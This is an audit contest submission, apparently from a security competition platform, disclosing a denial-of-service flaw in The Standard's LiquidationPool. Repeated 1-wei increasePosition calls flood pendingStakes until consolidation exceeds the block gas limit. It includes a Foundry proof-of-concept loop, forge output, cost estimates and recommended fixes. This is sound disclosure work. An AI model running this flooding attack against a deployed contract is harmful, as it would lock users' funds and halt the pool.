The Standard
The Standard
DeFiHardhat
20,000 USDC
View results
Previous Next
Submission Details
Severity: high
Valid

The Whole Liquidity Mechanism Can Be Broken Due to Unrestricted Increase in Pending Stakes.

aamirusmani1552

Summary

The vulnerability lies in the LiquidationPool::increasePosition(...) function, which permits multiple calls for position increase. This flaw can be exploited by attackers, compromising the entire liquidity mechanism.

Vulnerability Details

The LiquidationPool::increasePosition(...) function enables users to increase their stake in the pool. The staked amount is temporarily placed in a pending state to prevent users from exploiting the protocol for rewards. This is achieved by adding the staked amount to the LiquidationPool::pendingStakes(...) array instead of the original position. After one day, this pending stake amount is incorporated into the user's staked balance, allowing them to earn liquidation rewards on it. However, the implementation of the pending stake functionality is flawed. Currently, it allows any user to increase the position by any amount of tokens (greater than zero), creating another pending stake position that is added to the list of pending stakes.

This poses a significant problem, as an attacker can flood the pool with numerous transactions, each containing a very small stake (even as low as 1 wei of token). This action fills up the LiquidationPool::pendingStakes(...) array until it becomes large enough for the gas required to exceed the block gas limit. This can be easily achieved, especially when the protocol is deployed on Arbitrum (or potentially other Layer 2 solutions) where gas fees are relatively inexpensive.

function increasePosition(uint256 _tstVal, uint256 _eurosVal) external {
require(_tstVal > 0 || _eurosVal > 0);
consolidatePendingStakes();
ILiquidationPoolManager(manager).distributeFees();
if (_tstVal > 0) IERC20(TST).safeTransferFrom(msg.sender, address(this), _tstVal);
if (_eurosVal > 0) IERC20(EUROs).safeTransferFrom(msg.sender, address(this), _eurosVal);
@> pendingStakes.push(PendingStake(msg.sender, block.timestamp, _tstVal, _eurosVal));
addUniqueHolder(msg.sender);
}

To estimate the potential gas costs and their corresponding USD values for the LiquidationPool::increasePosition(...) attack, the following test can be used:

NOTE: The Details to run this test is given below in the PoC section

function test_increasePositionOnce() public {
tokens.eurosToken.mint(alice, 1000 ether);
tokens.tstToken.mint(alice, 1000 ether);
​
// getting gas spent on the transaction
uint256 gasBefore = gasleft();
vm.startPrank(alice);
tokens.tstToken.approve(address(contracts.liquidationPool), 1000 ether);
tokens.eurosToken.approve(address(contracts.liquidationPool), 1000 ether);
contracts.liquidationPool.increasePosition(1000 ether, 1000 ether);
vm.stopPrank();
uint256 gasAfter = gasleft();
​
uint256 gasUsed = gasBefore - gasAfter;
console2.log("gas used to add one pending stake: %s", gasUsed);
console2.log("gas required to add 600 pending stakes: %s", gasUsed * 600);
}

Output:

[PASS] test_increasePositionOnce() (gas: 323411)
Logs:
gas used to add one pending stake: 290516
gas required to add 600 pending stakes: 174309600
​
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.01ms
​
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

And to calculate the amount in USD corresponding to this we can use this tool: Cryptoneur

So According to the data at the time of writing this test it would cost approx 0.0650 USD for one LiquidationPool::increasePosition(...) transaction and 38.9826 USD for individual 600 transaction. As we can see it is very cheap to perform this attack. So now when there are 600 pending stakes in the pool that will be consolidated at the same time after 1 day, it will not be possible for anyone to increase or decrease their position at that time as the pending stakes are consolidated only when the increase / decrease of the position is done by anyone or when the rewards are distributed. Due to this, user's fund will be lost and it will also cause Denial of Service.

Impact

The funds will be lost for all of the users and The liquidity mechanism will break.

Proof Of Concept

NOTE
To run the test please follow the instructions given in readme of this repo: Link

function test_AttackerCanCauseDoSByMakingMultipleIncreasePostionCallAndFillingUpPendingStakes() public {
////////////////////////////////////////////
/// Setup ///
////////////////////////////////////////////
​
uint256 pendingStakesLength = 600;
uint256 amount = 1000 ether;
​
/////////////////////////////////////////////////////////////////
// minting some tokens to alice for the transaction ///
/////////////////////////////////////////////////////////////////
​
tokens.eurosToken.mint(alice, amount);
tokens.tstToken.mint(alice, amount);
​
/////////////////////////////////////////////////////////////////
// getting gas spent before the transaction ///
/////////////////////////////////////////////////////////////////
​
uint256 gasBefore = gasleft();
​
/////////////////////////////////////////////////////////////////
// alice stakes 600 times to fill up the pending array. ///
// by increasing his position by 1 wei of tokens value. ///
// The tx amount could be bigger as the protocol will ///
// be deployed on arbitrum and gas fee will be ///
// much cheaper as compared to ethereum. ///
/////////////////////////////////////////////////////////////////
​
vm.startPrank(alice);
​
for (uint256 i = 0; i < pendingStakesLength; i++) {
​
tokens.tstToken.approve(address(contracts.liquidationPool), 1);
tokens.eurosToken.approve(address(contracts.liquidationPool), 1);
contracts.liquidationPool.increasePosition(1, 1);
}
​
vm.stopPrank();
​
​
/////////////////////////////////////////////////////////////////
// getting gas left after the transaction ///
/////////////////////////////////////////////////////////////////
​
uint256 gasAfter = gasleft();
​
/////////////////////////////////////////////////////////////////
// gas spent on the transaction ///
/////////////////////////////////////////////////////////////////
​
uint256 gasUsed = gasBefore - gasAfter;
​
///////////////////////////////////////////////////////////////////////////////////////////////////
// will be equal to 278253936. The amount will be very less if the transactions are ///
// sent individually. This amount of gas will be equal to approx 62.2287 USD on Arbitrum. ///
// calculated using this free tool: ///
// https://www.cryptoneur.xyz/en/gas-fees-calculator?gas-input=8025143628&gas-price-opti ///
///////////////////////////////////////////////////////////////////////////////////////////////////
console2.log("gas used to add all pending stakes: %s", gasUsed);
​
///////////////////////////////////////////////////////////////////
// skipping some time to consolidate stakes ///
///////////////////////////////////////////////////////////////////
​
skip(block.timestamp + 1 weeks);
​
///////////////////////////////////////////////////////////////////
/// Bob decides to increase his position. ///
/// This will cause the transaction to revert ///
/// due to out of Gas even if Max gas limit is set ///
///////////////////////////////////////////////////////////////////
​
tokens.eurosToken.mint(bob, amount);
tokens.tstToken.mint(bob, amount);
​
vm.startPrank(bob);
tokens.tstToken.approve(address(contracts.liquidationPool), 1000 ether);
tokens.eurosToken.approve(address(contracts.liquidationPool), 1000 ether);
​
// NOTE: This is just the max block gas limit that I picked from the internet. It can be high or low. Even if it is high, the attack can still happen as the attacker can increase the count of the transactions and we already know that it will be very cheap as it will be on arbitrum.
vm.expectRevert();
contracts.liquidationPool.increasePosition{gas: 30_000_000}(amount, amount);
vm.stopPrank();
​
}

Link to original Test: Link

AAMIR@Victus MINGW64 /d/standard-audit-foundry (main)
$ forge test --mt test_AttackerCanCauseDoSByMakingMultipleIncreasePostionCallAndFillingUpPendingStakes -vv
[⠢] Compiling...
No files changed, compilation skipped
​
Running 1 test for test/unit/Unit.t.sol:Unit
[PASS] test_AttackerCanCauseDoSByMakingMultipleIncreasePostionCallAndFillingUpPendingStakes() (gas: 282361603)
Logs:
gas used to add all pending stakes: 278253936
​
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 394.50ms
​
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Tools Used

  • Manual Review

  • Foundry

Recommendations

It is recommended to make the following changes:

  1. Add the soft limit for the max amount of pending stakes allowed or change the mechanism for consolidation of stakes.

  2. Add the minStakeAmount for the LiquidationPool::increasePosition(...)

function increasePosition(uint256 _tstVal, uint256 _eurosVal) external {
- require(_tstVal > 0 || _eurosVal > 0);
+ require(_tstVal > minStakeAmount || _eurosVal > minStakeAmount);
consolidatePendingStakes();
ILiquidationPoolManager(manager).distributeFees();
if (_tstVal > 0) IERC20(TST).safeTransferFrom(msg.sender, address(this), _tstVal);
if (_eurosVal > 0) IERC20(EUROs).safeTransferFrom(msg.sender, address(this), _eurosVal);
@> pendingStakes.push(PendingStake(msg.sender, block.timestamp, _tstVal, _eurosVal));
addUniqueHolder(msg.sender);
}

  1. Add the emergency withdraw function so that if the pool is ever in this type of attack, the funds of users can be saved.

Updates

Lead Judging Commences

hrishibhat Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

pendingstake-dos

aamirusmani1552 Submitter
over 1 year ago
hrishibhat Lead Judge
over 1 year ago
hrishibhat Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

pendingstake-high

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.